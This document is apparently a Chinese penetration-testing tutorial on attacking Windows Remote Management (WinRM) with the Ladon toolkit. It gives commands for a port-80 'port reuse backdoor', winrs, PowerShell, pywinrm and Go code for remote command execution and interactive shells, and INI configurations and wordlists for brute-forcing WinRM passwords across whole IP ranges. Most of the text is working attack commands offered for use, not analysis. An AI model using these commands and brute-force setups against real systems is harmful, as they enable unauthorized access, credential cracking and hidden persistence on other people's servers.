1. 程式人生 > 實用技巧 >Winrm遠端命令/埠複用後門/WinrmCmd/密碼爆破

Winrm遠端命令/埠複用後門/WinrmCmd/密碼爆破

簡介

WinRM是WindowsRemoteManagementd(win遠端管理)的簡稱。基於Web服務管理(WS-Management)標準,使用80埠或者443埠。這樣一來,我們就可以在對方有設定防火牆的情況下遠端管理這臺伺服器了。

Server2008R2及往上的系統中預設中都開啟該服務,從Server2012系統後開始,該WinRM服務便被設定為預設開啟。Win7系統中卻預設安裝此WinRM服務,但是預設為禁用狀態,Win8系統和Win10系統也都預設開啟WinRM服務。

PS:WIN7或2008需要手動開戶WINRM

預設埠

5985/tcp (HTTP)
5986/tcp (HTTPS)

快速啟動WinRM

winrm  quickconfig  -q 或 winrm qc

埠複用後門

對於Windows Server 2012以上的伺服器作業系統中,WinRM服務預設啟動並監聽了5985埠。
通過下面的命令,可以新增WinRM一個80埠的監聽。

winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}

PS:該方法適用於有web的機器,不會開啟新埠,也不需要新的EXE程序或DLL劫持。

Winrs遠端執行命令

需要客戶端啟用Winrm,SYS許可權受限制

客戶端啟用Winrm

winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}

遠端執行CMD

通過Winrs連線,並執行whoami命令

winrs -r:http://192.168.1.20 -u:k8gege -p:k8gege520 whoami

通過Winrs連線,並獲得互動式的shell

winrs -r:http://192.168.1.20 -u:k8gege -p:k8gege520 cmd

PowerShell遠端執行命令

需要客戶端啟用Winrm,和系統自帶命令一樣,SYS許可權受限制

$ip="192.168.1.116"
#$ip="192.168.1.20"
Set-Item WSMan:\localhost\Client\TrustedHosts -Value $ip -Force
$securePassword = ConvertTo-SecureString -AsPlainText -Force 'k8gege520' 
$cred = New-Object System.Management.Automation.PSCredential 'k8gege', $securePassword
$cmd = {ls C:\users\public}
Invoke-Command -ComputerName $ip -Credential $cred -ScriptBlock $cmd

Pywinrm遠端執行命令

需要客戶端啟用Winrm,和系統自帶命令一樣,SYS許可權受限制

#C:\Users\null\Desktop\pywinrm>python test1.py
#win-\k8gege
import winrm
s=winrm.Session('http://192.168.1.116',auth=('k8gege','k8gege520'))#2012 ok
#s=winrm.Session('http://192.168.1.20',auth=('k8gege','k8gege520'))#win7 fail
r=s.run_ps('dir')
r=s.run_cmd('whoami') 
print r.std_out 
print  r.std_err

Gowinrm遠端執行命令

Go版不受許可權限制,也不需要客戶端啟用Winrm,也不像系統自帶winrs編碼限制
推薦使用版本,跨平臺,任意許可權,工具無需系統客外配置,也無需複雜安裝。

package main
import (
  "github.com/masterzen/winrm"
  "fmt"
  "os"
  "strconv"
)
//Winrm Remote Shell by k8gege
//http://k8gege.org/Ladon/WinrmScan.html
#C:\Users\k8gege\Desktop\>winrmcmd.exe 192.168.1.116 5985 k8gege k8gege520 whoami
#k8gege

var help = func () {
    fmt.Println("Winrm Shell by k8gege")
    fmt.Println("====================================================")
    fmt.Println("winrmcmd host port user pass cmd")
}

func main() {

	    args := os.Args
    if len(args) < 5 || args == nil {
		help()
        return
    }
	host := args[1]
	port,err := strconv.Atoi(args[2])
	user := args[3]
	pass := args[4]
	cmd := args[5]
	
	endpoint := winrm.NewEndpoint(host, port, false, false, nil, nil, nil, 0)
	client, err := winrm.NewClient(endpoint, user, pass)
	if err != nil {
		panic(err)
	}
client.Run(cmd, os.Stdout, os.Stderr)
}

C#版遠端執行命令

有兩種方法,一種WSMAN,一種DCOM,都有缺限,一個在WIN7環境執行提示無效程式(在2012系統才正常),另一個在WIN7開發環境正常在2012系統不能使用,再者需啟用Winrm還一樣受許可權限制,還不如用系統自帶命令好。

呼叫winrm爆破

由於C#使用WSMan來訪問winrm均在各種問題,還不如系統自帶命令winrs。
當前機器為中文,目標為英文系統,連線提示編碼問題,設定對應編碼即可
其它語言系統,返回不一定是437,具體自行根據需要修改INI指令碼。

PS:GO版不受許可權限制,也不受編碼限制,建立使用GO版驗證密碼

WinrmScan.ini
[Ladon]
#Brute-Force WinRM
exe=cmd.exe
arg=/c "chcp 437 & winrs -r:http://$ip$:5985 -u:$user$ -p:$pass$ "echo isok""
#exe=WinrmScan.exe
#arg=$ip$ $user$ $pass$
port=5985
isok=isok
log=true

注意:INI指令碼必須為ANSI編碼,當前機器與目標必須啟用WINRM,且放行5985埠
後門:如果被別人添加了複用後門,也可以直接爆破80埠,把5985改成80即可。

呼叫WinrmCmd爆破

Go版不受許可權限制,也不需要客戶端啟用Winrm,也不像系統自帶winrs編碼限制

[Ladon]
#Brute-Force WinRM
exe=winrmcmd.exe
arg=$ip$ 5985 $user$ $pass$ "echo isok""
#exe=WinrmScan.exe
#arg=$ip$ $user$ $pass$
isok=isok
log=true

Winrm密碼爆破/暴力破解

配置密碼爆破引數

INI指令碼僅支援標準的user.txt和pass.txt帳密破解

user & pass /傳統帳密

user.txt
k8gege
root

pass.txt
toor
k8gege520

指定IP

Ladon 192.168.1.8 WinrmScan.ini

掃描C段

Ladon 192.168.1.8/c WinrmScan.ini
Ladon 192.168.1.8/24 WinrmScan.ini

掃描B段

Ladon 192.168.1.8/b WinrmScan.ini

掃描A段

Ladon 192.168.1.8/a WinrmScan.ini

批量IP

ip.txt
192.168.1.8
192.168.1.5
192.168.1.109:48

Ladon WinrmScan.ini

批量C段

ip24.txt
192.168.1.
10.1.5.

Ladon WinrmScan.ini

批量B段

ip16.txt
192.168.
10.1.

Ladon  WinrmScan.ini

如圖,通過5985埠掃描1.20機器登陸口令

Ladon 7.3版本

>= Ladon 7.3.0
Update: 20200901

Ladon 7.3版本添加了WinrmScan和WinrmExec功能
詳情參考:http://k8gege.org/Ladon/WinrmExec

WinrmScan 5985密碼爆破

Ladon 192.168.1.8 WinrmScan
Ladon 192.168.1.8/24 WinrmScan

WinrmExec 遠端執行命令

1.無回顯
2.支援SYSTEM許可權

Usage:
Ladon WinrmExec <Target> [Port] [Domain] [Username] [Password] <Command>
Default Port is 5985
Example:
Ladon WinrmExec 192.168.1.116 . k8gege K8test520!@# calc.exe
Ladon WinrmExec 192.168.1.116 80 . k8gege K8test520!@# calc.exe
Ladon WinrmExec 192.168.1.116 5985 . k8gege K8test520!@# calc.exe

Winrm密碼爆破/埠複用後門

相關知識點請參考:http://k8gege.org/Ladon/WinrmScan.html

工具下載

最新版本:https://k8gege.org/Download
歷史版本: https://github.com/k8gege/Ladon/releases
WinrmCmd: https://github.com/k8gege/WinrmCmd